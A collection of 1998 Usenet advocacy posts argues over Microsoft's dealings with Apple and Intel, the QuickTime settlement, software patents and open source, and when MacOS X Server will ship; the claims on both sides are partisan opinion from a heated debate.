> According to sworn testimony, MS made an effort to prevent *other
> companies* from selling *their own software* into the market. In the case
> of Intel it would appear that they succeeded (see "NSP").
If they succeeded it was only because Intel lacked the courage to go
ahead anyway with the technology. The guy blames Microsoft because *his
superiors at Intel* canceled his own pet, personal projects. People seem
to forget that Microsoft is writing an OS for 200,000,000 + machines,
made by 50 + vendors, with literally hundreds if not thousands of
hardware configurations to contend with. Everyone seems to think MS has
no position on anything, ever, and if the company does take a position
it "ought not to."
I wish Intel had gone ahead with the project. But I would dearly love to
know all of the particulars as to why they did not. I wonder just how
"effective" it would have been. MMX was basically an over-hyped joke on
the part of Intel. I can't help but wonder if Intel's approach to NSP
might not have been the same thing.
From: Jonathan Harker <Limeyville@spamtoNull.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Thu, 12 Nov 1998 11:13:20 -0500
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Sal Denaro wrote:
>
> >when the
> >deal went through and Apple got both its money and its browser and
> >Quicktime is still very much around.
>
> This sounds like some kind of MS apologist spiel.
Spoken with the blindness of a true Mac "Microsoft Hater." Only such a
person could call $150 million, a version of IE for the Mac, a version
of Office for the Mac (which cost MS millions), and very public support
for Apple at a time when Apple desperately needed it, mere "MS Apologist
spiel."
You deliberately ignore the facts in evidence (actually you pretend they
never happened or else that they meant nothing) and you concentrate on
spurious pieces of email, instead. The fact that Quicktime is still here
also means nothing to you. Amazing.
From: brlewis@my-dejanews.com
Newsgroups: comp.os.linux.advocacy,misc.int-property,comp.sys.next.advocacy
Subject: Re: YIKES! Pro-Linux people propagating anti-Linux FUD
Date: Thu, 12 Nov 1998 15:40:18 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <72evh2$ut$1@nnrp1.dejanews.com>
References: <DD6CE4BCBE7DD018.BF7AE60A8BACC55A.E139FC59512EEA81@library-proxy.airnews.net> <36425AFD.D0D8EC3D@solarsystems.com> <36426F6E.2AED1A73@cygnus.com> <71u48m$dop$3@news.xmission.com> <slrn74a2v0.roj.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <364521d7.0@news.depaul.edu> <3645B66C.397A603A@ieee.org> <3646A021.162FC622@ix.netcom.com> <qv64ss862wy.fsf@physp43.phys.canterbury.ac.nz> <3647E15E.7A2232BA@ix.netcom.com> <729lc5$hnd$1@nnrp1.dejanews.com> <72b6c2$16v$9@blue.hex.net> <72clqk$3ij$1@nnrp1.dejanews.com> <364A93F5.615EB064@ix.netcom.com>
In article <364A93F5.615EB064@ix.netcom.com>,
kmself@ix.netcom.com wrote:
> A proprietary software developer with an established firm and economic
> base may have superior legal resources, be golf partners with the judge,
> or have his or her own patented technologies to use in challenging or
> negotiating a settlement or licensing agreement with the plaintif. The
> architypical OSS developer living on a crash pad and hacking on a
> beat-up '386 likely has none of these resources. I may paint the
> picture bleaker than it is, but the point is that unorganized OSS
> developers have less recourse to resources or retaliatory action than a
> monied firm.
[snip]
> Use of a patented technology may also be infringing. So
> long as this is the case, adoption of OSS by deep pockets commercial
> concerns may be discouraged out of liability concerns.
Are you saying that being a big firm with extensive resources makes you less
likely to be sued if you make software and more likely to be sued if you use
software? Seems inconsistent to me.
Anyway, if a small OSS developer did get sued, the EFF would be ready to help,
aided by donations from large firms such as Intel and Motorola who have heavy
stakes in OSS.
> Fear is often the most useful weapon in battle. I'd like to see it
> rendered ineffective WRT patents & OSS.
By posting speculation to Usenet on why you think OSS is more vulnerable,
you're providing fuel to FUD campaigns against OSS. I can see the headlines
now:
"Linux advocates in a panic over possible legal action."
"Could your company be sued for using Linux?"
If you're really concerned, speak privately with a good lawyer and try to come
up with a plan. You'll only regret your Usenet postings if some of the fears
turn out to be unfounded.
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: cirby@magicnet.net (Chad Irby)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: 12 Nov 1998 16:51:35 GMT
Organization: MagicNet, Inc.
Message-ID: <cirby-1211981150560001@pm61-46.magicnet.net>
References: <364295A3.ABE8C927@earthlink.net> <36446139.B0696A55@spamtoNull.com> <19981107182220271838@pm2-2-23.aug.com> <36462729.BDFBC1C0@spamtoNull.com> <19981109212809124993@pm2-2-15.aug.com> <364A12A5.4B55B381@spamtoNull.com> <cirby-1111982135020001@pm61-36.magicnet.net> <364B0332.5DDC297F@spamtoNull.com>
Jonathan Harker <Limeyville@spamtoNull.com> wrote:
> Chad Irby wrote:
> >
> > You missed the part about the $1.2 billion patent infringement suit (which
> > was the reason for the money from MS), and Apple got the browser because
> > they had to or worry about Office for Mac being killed.
>
> I'm still lost. Apple chose to drop the suit--Apple didn't have to.
> Seems to me Apple *agreed* to this deal quite voluntarily.
And once again: DIFFERENT EVENTS, DIFFERENT TIMES.
The Apple vs. Microsoft patent suit was settled by Microsoft agreeing to
*pay* for the QuickTime software it had stolen.
> You're going
> to blame Microsoft for saying: "OK, you've asked us for a large
> investment and we're inclined to give it to you. However, your pending
> lawsuit against us is standing in the way."....????
That's not what happened. The "large investment" was in addition to a
regular system of royalties paid by MS to Apple. In case you haven't
noticed, Apple's profits have consistently been higher than expected ever
since the deal. Regular check from Redmond sure help.
> I guess you think MS was supposed to have said, "So sue us! Who cares!
> Here's the money--take it. Who cares if your lawsuit against us will
> cost us another 50 million or so in legal fees and take up years of our
> time as well as yours!"
Except that the case was pretty much open-and-shut, and Microsoft had no
real chance of dragging it out for years and years. The best they could
hope for was to lose, pay, and challenge it in the courts for a while. In
the meantime, $1.2 BILLION dollars is a lot of cash, even for Microsoft.
> That's nuts...:)
No- "nuts" is a huge corporation that's under examination for illegal
trade practices, which keeps a long-running court battle going with
another company at the same time.
MS was already fighting a two front war (DOJ and Sun), with smaller
battles in other cases. They didn't need a sure-lose case versus Apple to
make them look even *worse*.
--
Chad Irby \ My greatest fear: that future generations will,
cirby@magicnet.net \ for some reason, refer to me as an "optimist."
From: cirby@magicnet.net (Chad Irby)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: 12 Nov 1998 16:55:01 GMT
Organization: MagicNet, Inc.
Message-ID: <cirby-1211981154240001@pm61-46.magicnet.net>
References: <364295A3.ABE8C927@earthlink.net> <F25z88.HII@t-fcn.net> <727j1c$mqm@newsb.netnews.att.com> <364A0FCF.C74FA148@spamtonull.com> <72d6nt$295@newsb.netnews.att.com> <364AFF31.2CE9CD59@spamtoNull.com>
Jonathan Harker <Limeyville@spamtoNull.com> wrote:
> OK, a mugger comes up to me and says "Give me five dollars" and I say
> "No way," and the mugger hands me $150 million dollars and a Browser
> (which cost him a few million more to make just for my machine), lets me
> keep the $5, and goes away.
You're forgetting that the "$5" is really $1.2 BILLION dollars.
And that the mugger has to give you another $30 to $50 MILLION dollars per
quarter in licensing fees for the stuff he stole from you the last dozen
or so times he mugged you.
And now the DOJ is investigating the mugger for ripping off pretty much
everyone else who lives in the same town...
--
Chad Irby \ My greatest fear: that future generations will,
cirby@magicnet.net \ for some reason, refer to me as an "optimist."
From: cirby@magicnet.net (Chad Irby)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: 12 Nov 1998 16:58:10 GMT
Organization: MagicNet, Inc.
Message-ID: <cirby-1211981157320001@pm61-46.magicnet.net>
References: <364295A3.ABE8C927@earthlink.net> <36446139.B0696A55@spamtoNull.com> <19981107182220271838@pm2-2-23.aug.com> <36462729.BDFBC1C0@spamtoNull.com> <atticus-0811981935190001@user-38lcbl7.dialup.mindspring.com> <727ggt$mba@news1.panix.com> <364A0F3E.912B8E3E@spamtoNull.com> <cirby-1111982139560001@pm61-36.magicnet.net> <364B056D.B5DAADFC@spamtoNull.com>
Jonathan Harker <Limeyville@spamtoNull.com> wrote:
> Well, did Apple *have to settle* the patent infringement suit? You seem
> to be forgetting here that had Apple not wanted to settle the suit it
> simply wouldn't have mattered whether MS wanted to settle or not.
They sure didn't. This was a huge mistake on Microsoft's part. Part of
the settlement was "licensing fees" and a cross-licensing fee schedule.
What the MS guys forgot was the amount of stuff Microsoft "appropriated"
over the last few years.
> Secondly, some key things about lawsuits you forget: companies don't
> like them, and companies often settle even when they believe the facts
> are on their side.
Not so in this case. It was pretty much open-and-shut, with some more
memos from MS guys bragging about the way they had snagged the QuickTime
source code.
> They often figure they'll come out ahead as opposed
> to lengthy, very expensive litigation's which can sometimes take years.
> You seem to be saying that Apple had no say so in the matter. The facts
> are contrary as it's easy to prove Apple "settled" the suit just as much
> as MS "settled" it.
When was the last time Microsoft "settled" a suit that they weren't going
to lose big-time? They have an announced corporate policy of "no
prisoners."
--
Chad Irby \ My greatest fear: that future generations will,
cirby@magicnet.net \ for some reason, refer to me as an "optimist."
From: cirby@magicnet.net (Chad Irby)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: 12 Nov 1998 17:04:05 GMT
Organization: MagicNet, Inc.
Message-ID: <cirby-1211981203270001@pm61-46.magicnet.net>
References: <364295A3.ABE8C927@earthlink.net> <36446139.B0696A55@spamtoNull.com> <19981107182220271838@pm2-2-23.aug.com> <36462729.BDFBC1C0@spamtoNull.com> <727kbv$ris$1@nnrp1.dejanews.com> <36475d98.0@news.depaul.edu> <rbarris-ya023280000911981416190001@206.82.216.1> <364A1212.A24ABF22@spamtoNull.com> <cirby-1111982137130001@pm61-36.magicnet.net> <364B041D.725B3B91@spamtoNull.com>
Jonathan Harker <Limeyville@spamtoNull.com> wrote:
> But apparently, MS did the following to Apple to put teeth into the
> "threat":
>
> (1) gave Apple $150 million
>
> (2) gave Apple a working version of IE
>
> (3) announced and recommitted to supporting Apple with its Office
> products.
This all happened well *after* the "Knife the Baby" event. Once Microsoft
got nailed for the QuickTime source theft, they had to clean up their act
pretty fast.
The timeline is like this:
"Knife the Baby"
(several months)
Microsoft gets caught stealing QuickTime.
Apple files suit
Apple finds "smoking gun"
Microsoft settles, gives $150 million, recommits to Apple
et cetera...
> I'd like to be "threatened" like that every day...:)
You'd better get the facts straight first.
> Last, it should be noted that the above three items were things Steve
> Jobs asked for, not things MS "forced" on Apple.
It's because Jobs is very practical in some things. At the time, a dose
of "Microsoft supports Apple" was probably more important than a future
payment of a lot more money.
--
Chad Irby \ My greatest fear: that future generations will,
cirby@magicnet.net \ for some reason, refer to me as an "optimist."
From: cirby@magicnet.net (Chad Irby)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: 12 Nov 1998 17:38:17 GMT
Organization: MagicNet, Inc.
Message-ID: <cirby-1211981237390001@pm61-46.magicnet.net>
References: <364295A3.ABE8C927@earthlink.net> <36446139.B0696A55@spamtoNull.com> <19981107182220271838@pm2-2-23.aug.com> <36462729.BDFBC1C0@spamtoNull.com> <19981109212809124993@pm2-2-15.aug.com> <364A12A5.4B55B381@spamtoNull.com> <199811112325443438729@pm2-1-15.aug.com> <364B07B9.F4870E47@spamtoNull.com>
Jonathan Harker <Limeyville@spamtoNull.com> wrote:
> Here's what I don't see: I don't see how the following involve
> "threatening Apple with its corporate life":
>
> (1) Giving Apple $150 million, which Apple asked for
>
> (2) Giving Apple a Browser Apple asked for (which cost millions)
>
> (3) Giving Apple the public support and renewed Office products Apple
> asked for (which cost millions)
And, again, you've got your time line mixed up. you know this by now.
Why do you keep reposting this bogus one?
--
Chad Irby \ My greatest fear: that future generations will,
cirby@magicnet.net \ for some reason, refer to me as an "optimist."
From: cirby@magicnet.net (Chad Irby)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: 12 Nov 1998 17:42:17 GMT
Organization: MagicNet, Inc.
Message-ID: <cirby-1211981241390001@pm61-46.magicnet.net>
References: <364295A3.ABE8C927@earthlink.net> <36446139.B0696A55@spamtoNull.com> <19981107182220271838@pm2-2-23.aug.com> <36462729.BDFBC1C0@spamtoNull.com> <atticus-0811981935190001@user-38lcbl7.dialup.mindspring.com> <727ggt$mba@news1.panix.com> <364A0F3E.912B8E3E@spamtoNull.com> <72dp06$1ks@news1.panix.com> <364B0920.74AB6512@spamtoNull.com>
Jonathan Harker <Limeyville@spamtoNull.com> wrote:
> Spoken with the blindness of a true Mac "Microsoft Hater." Only such a
> person could call $150 million, a version of IE for the Mac, a version
> of Office for the Mac (which cost MS millions), and very public support
> for Apple at a time when Apple desperately needed it, mere "MS Apologist
> spiel."
Only when someone like you presents the events above as near-charity by
Microsoft, instead of the out-of-court settlement it was for stealing
QuickTime source code to try and make VFW useful.
> You deliberately ignore the facts in evidence (actually you pretend they
> never happened or else that they meant nothing)
Much more in your case, since you can't even remember that these events
were in a different order than you think.
> and you concentrate on
> spurious pieces of email, instead. The fact that Quicktime is still here
> also means nothing to you. Amazing.
Those "spurious" pieces of email were from MICROSOFT EXECUTIVES.
The fact that QuickTime is still here is because Apple realized that if
they caved on the QT/Win issue, they'd be in even *worse* shape.
I suppose that if someone from the Mob threatened your family, and didn't
kill them when you didn't cave, it would be "no harm, no foul," right?
--
Chad Irby \ My greatest fear: that future generations will,
cirby@magicnet.net \ for some reason, refer to me as an "optimist."
From: "Greg Anderson" <greg@afs.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: I grow old.. Was: Re: iMac for $29
Date: Tue, 10 Nov 1998 10:27:02 -0500
Organization: Anderson Financial Systems Inc.
Message-ID: <729m23$3ae@shelob.afs.com>
References: <azF02.13909$yb5.13282084@news.rdc1.sdca.home.com> <01be09b9$ccdf2b50$06387880@chewy> <36435965.0@news.depaul.edu> <71vmqv$8be@shelob.afs.com> <364366BF.44BC800A@tone.ca> <71vti6$96p@shelob.afs.com> <726u8k$dkf$2@sun27.hrz.tu-darmstadt.de> <forrestDELETE-THIS!-0911981126120001@term3-8.vta.west.net> <727i58$d2b$2@sun27.hrz.tu-darmstadt.de> <727kku$rih@shelob.afs.com> <729jt7$ggf$1@nnrp1.dejanews.com>
spagiola@my-dejanews.com wrote:
>So, can we expect "Yes, it will" T-shirts to be bundled with PasteUp when
it
>ships for MOSXS?
I was thinking more along the lines, a la Microsoft, of licensing a classic
rock-n-roll tune and encoding it as a music track on the distribution CD.
Maybe "The Long and Winding Road."
Greg
From: Jonathan Harker <Limeyville@spamtoNull.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Thu, 12 Nov 1998 11:07:21 -0500
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Organization: EarthLink Network, Inc.
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Rick wrote:
>
> Yes, you've missed everything. MS threatend Apple with its corproate
> life. Apple decided to not knuckle under to MS. The threat is illegal.
> What dont you see?
Here's what I don't see: I don't see how the following involve
"threatening Apple with its corporate life":
(1) Giving Apple $150 million, which Apple asked for
(2) Giving Apple a Browser Apple asked for (which cost millions)
(3) Giving Apple the public support and renewed Office products Apple
asked for (which cost millions)
...and, I might add that Apple has milked these events for every ounce
of publicity possible.
These are things MS *did* quite plainly for all the world to see for
Apple and at Apple's request. Gates himself took to the airwaves and
announced renewed support for the Apple platform. These things have had
a great deal to do with Apple's temporary recovery--probably more than
any other single factor.
And you...are hinging your opinions on flimsy pieces of email?
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.next.advocacy
Subject: bets and predictions
Date: 12 Nov 1998 18:31:15 GMT
Organization: P & L Systems
Message-ID: <72f9hj$sdn$1@ironhorse.plsys.co.uk>
Mime-Version: 1.0
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I don't really have time for this at the moment (it's taken me a couple of
days to get time to put even this together) so it's a little disjointed, for
which my apologies. It's a long post, so briefly the main points:
- I have made no explicit prediction that MOX will be delivered on / by
28 November.
- If anyone has, it is, by implication/omission, Ziya Oz.
- I achieved my primary goal of getting people to talk about *when* MOX would
ship rather than (as was fashionable at the time) *if*.
On MacOS-x-talk Ziya wrote:
> Mark Murphy wrote:
> >I've still got my calendar alarm set to remind me about Malcom's date of
> >Novemember 27th... just 19 days away!
>
A couple of people have now referred to this date now, out of context, as if
it were some sort of *prediction*, and in some cases appear almost to be
holding Apple to this date as if the company had made some sort of promise of
delivery: the former assumption is disingenuous, the latter stupid.
Some important background to consider before going on. Two factors, which
seem to have been overlooked by some, are involved in making a bet. (a) (at
least) two people have to be involved, and (b) they have to agree to the
conditions. There's a third aspect which is important to me, that of
sportsmanship.
A few months ago there was a thread on comp.sys.next.advocacy (csna) about
*whether MacOS X Server would ship at all*. In the context of this "debate"
I issued a challenge to one of the main protagonists about *when* MOX would
ship. My primary intent was to shift the debate from the injurious position
of *if*, to the less troublesome *when*, and so entered in to a bet with
Michael Peck.
***********************
What Ziya et al. have (wantonly?) forgotten about is that there were *two*
aspects to the original bet[#]:
(a) MOX will ship before 28 November;
(b) *MOX will ship before NT5*.
***********************
Condition (b) grew out of the "debate" on csna, and offered me a "backstop",
in that I can see no reason why I won't win this one. The second condition I
therefore had some leeway with, and in the spirit of sportsmanship it seemed
reasonable to suggest a date he might at least stand a chance of winning on
-- and anyway I couldn't suggest a date too far in the future else I'm sure
the bet would be declined outright.
To go off on a tangent here, as the foregoing implies, I have *no inside
information specifically regarding when Apple will ship MOX*. I know a lot
of *technical* details, and I know a lot about the overall strategy, broad
timescales etc, however no actual dates -- if I did it would have been (a)
unsporting to enter into the bet, and (b) improper for me to do so, even
without various NDAs etc.
To get back on track: from the technical perspective I can make a good guess
as to when Apple was ready to ship MOX; the main wildcard is, as ever, the
Marketing Department, although there are doubtless a number of other
constraints that Apple is working under. Given this, and remembering that
Apple seems to have finally itself remembered that it's a business and not a
charity, we have a situation which is very different from Copland or Taligent
which someone somewhere mentioned a while back, namely that for the latter
two the hype was there but the technology wasn't, whereas now the technology
is there but, for whatever reason, the hype isn't.
Whatever, my primary goal of getting people to talk about *when* rather than
*if* was achieved.
[#] I'm sure some people will point to the fact that I made a separate offer
of just one part of the bet to someone else...
> I wish those who bet with him on that don't actually take his money so he
> can save up enough to buy the Brooklyn Bridge later :-)
>
An old saying goes "Empty vessels make most noise"; I think of Ziya as a
large and peculiarly resonant plastic cauldron... deafening, and of little
use. In this context, it seemed to be a reasonable gamble to propose the bet
to him since (a) there seems to be a fair chance of winning, and (b) I was a
lot more certain that he wouldn't take me up on it. As it turns out, I was
definitely right on (b).
For all his posturing, I would emphasise the point that Ziya did not have the
courage of his convictions to put his money where his mouth is (maybe that's
just because, presented with such a large target, the logistical problems
proved insurmountable, but I think otherwise). If MOX doesn't ship by 28
November (and again I stress I have no idea whether it will or not) then he
is certainly *not* in a position to say "I told you so," since clearly he did
not.
Even though I frequently disagree with Michael Peck, I respect him because he
at least had the courage of his convictions, and has put some effort into
trying to understand some of the technological issues surrounding MacOS X. I
don't respect Ziya, whose primary intent seems to be little more than
mischief-making.
mmalc.
From: mcgredo@otter.mbay.net (Donald R. McGregor)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: a prediction
Date: 12 Nov 1998 18:47:09 GMT
Organization: A highly funded yet unoffical government agency
Message-ID: <72fafd$460$1@supernews.com>
References: <72f8le$hjr@newsb.netnews.att.com>
In article <72f8le$hjr@newsb.netnews.att.com>,
<gupta@knim.tm.tta.moc-mirror after @> wrote:
>In the article "Heart of OS being pulled in different directions"
>Frank Hayes notes that Microsoft is adding a database to the
>NT kernel (???!!!).
MS is going to be using LDAP for lots of things, including
security. Probably this is what they're trying to stuff in
there.
>Cramming more stuff in the kernel gives
>potentially better performance, but at the cost of more complexity.
It seems to be MS's answer to everything. Lets say design
elegance is not a high priority in Redmond.
--
Don McGregor | "Win if you can, lose if you must, but always cheat."
mcgredo@mbay.net | --Jesse Ventura
From: rr6013@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy
Subject: Re: I grow old.. Was: Re: iMac for $29
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<36435965.0@news.depaul.edu> <71vmqv$8be@shelob.afs.com>
<364366BF.44BC800A@tone.ca> <71vti6$96p@shelob.afs.com>
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<3647DCC4.4792B75A@trilithon.com>
Message-ID: <qc_12.116$rY3.724777@news.rdc1.sdca.home.com>
Date: Tue, 10 Nov 1998 16:53:42 GMT
NNTP-Posting-Date: Tue, 10 Nov 1998 08:53:42 PDT
Organization: @Home Network
In <3647DCC4.4792B75A@trilithon.com> Henry McGilton wrote:
> Not really wishing to contradict anybody's fond memories . . .
>
> Greg Anderson wrote:
> * Rex Riley wrote in message ...
> * * And for those who were priviledged enough to see Glenn's
> * * early demo's, "Yes" it had every feature you could ever
> * * want. Licensing issues cropped up with Adobe.
> Sorry, I don't recall that there were any licensing issues with
> Adobe where PasteUp was concerned --- what were those issues?
>
> * * Much of the cool demo stuff got iced. My favorite was
> * * the scalable, splined font tools. Grab a font and
> * * stretccchh...
>
> * Didn't Glenn ultimately release this feature as a distinct
> * application called TouchType, which he eventually sold to Adobe?
> TouchType was there way before PasteUp got started. Glenn
> hid in his garret for several months and created TouchType.
> It was very well received, and yes, it was eventually sold
> to Adobe. I don't know where TouchType is these days ---
> presumably Adobe stopped supporting it, given no systems on
> which to run it.
>
> RightBrain also created a few useful mini-apps, namely,
> LaunchPad, Rulers, and PortFolio, which, along with the
> NextStep font business, also helped generate some
> much-needed cash flow for RightBrain.
>
> Glenn then went on to the PasteUp project. I don't
> recall any of the scalable, splined font tools in PasteUp,
> even though it might have been before my time. PasteUp
> got under weigh in the Spring of 1991 and I worked on
> PasteUp basically from around the end of 1991 through the
> end of 1992. I departed from RightBrain in October 1992,
> primarily for health reasons at the time. If there had been
> any such tools or features in PasteUp, I didn't see any
> evidence of such in the codebase. And believe me, I was all
> through that codebase.
>
> Cheers,
>
Henry... this was Demo'd to Boston Computer Society Fall of 1992. It blew
everyone in the room away. The shipping product short the cool demo stuff,
PasteUp shipped with Rulers for the early adopters. Not there somebody
(fond memory failing...) told me that the font stuff couldn't ship for
licensing problems with Adobe.
If you were in the code, it was demo'd with splines on all the fonts. Grab
any letter and contort it to your hearts content. PasteUp, the demo,
allowed complete access to everything you could see & touch ± right down to
the font level. It was so cool.
I think the font stuff was from TouchType (fond memory returning...), that
was why PasteUp couldn't repackage the technology.
...fond memory fades away :-)
-r
-r
From: mlemon@bigfoot.com (Michael D Lemon)
Newsgroups: comp.sys.next.advocacy,comp.lang.java.advocacy
Subject: Re: Question about this http://msdn.microsoft.com/developer/news/quicktime.htm
Date: Tue, 10 Nov 1998 17:07:03 GMT
Organization: Posted via Supernews, http://www.supernews.com - Discussions start here!
Message-ID: <364c72a1.7815714@news.midwest.net>
References: <yl3vhkop9bc.fsf@shell8.ba.best.com> <3648ac3a.554528@news3.newscene.com>
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On 9 Nov 1998 21:01:08 -0600, me@home.now (Just'Me) wrote:
>>Q. Why didn't Microsoft offer their expertise in this matter when Apple
>>was initially having these problems?
>
>Q: Why didn't Apple ask?
Q: How do you know they didn't?
From: rr6013@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy
Subject: Re: I grow old.. Was: Re: iMac for $29
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<36435965.0@news.depaul.edu> <71vmqv$8be@shelob.afs.com>
<364366BF.44BC800A@tone.ca> <71vti6$96p@shelob.afs.com>
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<727i58$d2b$2@sun27.hrz.tu-darmstadt.de> <727kku$rih@shelob.afs.com>
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<hOQ12.93$rY3.507395@news.rdc1.sdca.home.com> <3647F284.F4280BFA@trilithon.com>
Message-ID: <9t_12.117$rY3.724777@news.rdc1.sdca.home.com>
Date: Tue, 10 Nov 1998 17:11:33 GMT
NNTP-Posting-Date: Tue, 10 Nov 1998 09:11:33 PDT
Organization: @Home Network
In <3647F284.F4280BFA@trilithon.com> Henry McGilton wrote:
> Rex Riley wrote:
> * PasteUp allowed WYSIWYG font design. This is where PasteUpDemo
> * ran into Adobe I was told because it took free license to alter
> * existing font properties.
> This last bit I find hard to believe. Provide some solid evidence.
>
> ........ Henry
>
>
Call Glenn to get solid evidence... tell him some chap from Lois Lane is
telling stories out of school :-)
God, I love those old memories... failing and all :-)
-r
From: Jonathan Harker <Limeyville@spamtoNull.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Thu, 12 Nov 1998 14:27:32 -0500
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Chad Irby wrote:
>
> They sure didn't. This was a huge mistake on Microsoft's part. Part of
> the settlement was "licensing fees" and a cross-licensing fee schedule.
>
> What the MS guys forgot was the amount of stuff Microsoft "appropriated"
> over the last few years.
What are you talking about? There was a cross-licensing agreement set to
last five years from the date of settlement, and it was for only
products the two agreed to cross license. *All* past patent infringement
suits were made null and void forever. Hmmmm....you evidently don't have
any info on the "licensing fees" Apple is paying Microsoft. I realize
how that won't fit into your most inaccurate opinions (But it's not
surprising since you don't have any real info on what "licensing fees"
Microsoft is paying Apple, either--except to merely advance your own
opinion that such fees are in fact being paid.)
>
> Not so in this case. It was pretty much open-and-shut, with some more
> memos from MS guys bragging about the way they had snagged the QuickTime
> source code.
That's the silliest thing I ever heard. Pure propaganda. No one but a
dolt would settle an "open & shut" case for a pittance of the amount
being sought, unless the case was *not* open & shut. A company might
well settle such an open & shut case (to avoid legal fees and to collect
quickly), but it wouldn't be for a tiny fraction of the original amount
sought.
>
> When was the last time Microsoft "settled" a suit that they weren't going
> to lose big-time? They have an announced corporate policy of "no
> prisoners."
You consider this as some sort of evidence? It makes Apple sound
incredibly stupid and bungling. You should rethink it.
From: Jonathan Harker <Limeyville@spamtoNull.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Thu, 12 Nov 1998 14:32:13 -0500
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Chad Irby wrote:
>
> Jonathan Harker <Limeyville@spamtoNull.com> wrote:
>
> > OK, a mugger comes up to me and says "Give me five dollars" and I say
> > "No way," and the mugger hands me $150 million dollars and a Browser
> > (which cost him a few million more to make just for my machine), lets me
> > keep the $5, and goes away.
>
> You're forgetting that the "$5" is really $1.2 BILLION dollars.
??????? Apple has *NEVER* made 1.2 billion on Quicktime. Geesh!
>
> And that the mugger has to give you another $30 to $50 MILLION dollars per
> quarter in licensing fees for the stuff he stole from you the last dozen
> or so times he mugged you.
Got any proof of this? I didn't think so...
>
> And now the DOJ is investigating the mugger for ripping off pretty much
> everyone else who lives in the same town...
Funny, how Apple settled with the "mugger" when it didn't have to, and
kissed that "open & shut" 1.2 billion good-bye!
Your comments only make Apple seem dumber and dumber. It's all right,
though, because I don't believe even Apple is as stupid as you make them
out to be.
From: Jonathan Harker <Limeyville@spamtoNull.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Thu, 12 Nov 1998 14:08:26 -0500
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Chad Irby wrote:
>
> The Apple vs. Microsoft patent suit was settled by Microsoft agreeing to
> *pay* for the QuickTime software it had stolen.
I recall absolutely nothing out of these settlements which even *hinted*
that MS had ever stolen anything. This is pure fantasy, I'm afraid.
>
> That's not what happened. The "large investment" was in addition to a
> regular system of royalties paid by MS to Apple. In case you haven't
> noticed, Apple's profits have consistently been higher than expected ever
> since the deal. Regular check from Redmond sure help.
OK, where is your documentation on this? MS isn't even using Quicklime.
You are really getting garbled here. If MS was licensing Quicktime from
Apple, and paying royalties for doing so, what on earth is all of this
"kill the baby" stuff about?
And...regular checks for what? Can you point me in the direction of some
factual documentation on all of this?
>
> Except that the case was pretty much open-and-shut, and Microsoft had no
> real chance of dragging it out for years and years. The best they could
> hope for was to lose, pay, and challenge it in the courts for a while. In
> the meantime, $1.2 BILLION dollars is a lot of cash, even for Microsoft.
That's silly. 1.2 billion was *never* paid to anybody. There has never
been a judgment for 1.2 billion leveled against anybody. All of your
assumptions leave out the fact that *Apple* settled the case, just as
much as Microsoft did. It may come as a shock, but the $150 million was
*for stock* which, in another year or so, MS will be free to sell! If
Apple can keep the value up, Microsoft will *double its money!*
>
> MS was already fighting a two front war (DOJ and Sun), with smaller
> battles in other cases. They didn't need a sure-lose case versus Apple to
> make them look even *worse*.
If it was a "sure-lose" case for Microsoft, that means it was a
"sure-win" case for Apple, which means Apple was "sure-pretty-stupid" to
walk away with little or nothing since they could have had 1.2 billion
(or more.) But the facts are that the case was nowhere near as
"sure-lose" for Microsoft or as "sure-win" for Apple as you fantasize.
And that is precisely why Apple agreed to drop the case *forever* in
exchange for whatever it could get from Microsoft at the time.
From: a1050pi@yahoo.com (Sheldon Gartner)
Newsgroups: microsoft.public.windows.chromeffects,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: M$ --"kill HTML" .... With Chrome Effects?
Date: Tue, 10 Nov 1998 17:37:17 GMT
Organization: Airnews.net! at Internet America
Message-ID: <5C035492CA0389CA.0A5CA5DF4C64C74C.1AD5BAD4D8CB4F6F@library-proxy.airnews.net>
Abuse-Reports-To: abuse at airmail.net to report improper postings
NNTP-Proxy-Relay: library.airnews.net
NNTP-Posting-Time: Tue Nov 10 11:28:02 1998
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http://www.zdnet.com/zdnn/filters/bursts/0,3422,2162203,00.html
Microsoft Corp. (Nasdaq:MSFT) believed in its own software "down to
the metal" and planned to "kill HTML" by developing versions that only
worked with its products, according to Intel Corp. (Nasdaq:INTC)
executive Steven McGeady during testimony Tuesday. He also testified
that Microsoft pressured Intel to stop developing any software that
competed with Microsoft, particularly audio, video and 3-D technology,
saying Intel had no business working in that market. --Lisa Bowman,
ZDNN
Sounds like Chrome Effects to me...
-l
---
ICQ#: 9393354 * "Whenever you find that you are on the side of
the majority, it is time to reform." -- Mark Twain
From: Michael <michael@tone.ca>
Newsgroups: comp.sys.next.advocacy
Subject: Quickdraw GX
Date: Thu, 12 Nov 1998 14:51:25 -0500
Organization: Styx DTP
Sender: monner@dial03p30.ottawa.storm.ca
Message-ID: <364B3C3B.A002CB5@tone.ca>
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Lawson, are you reading this...
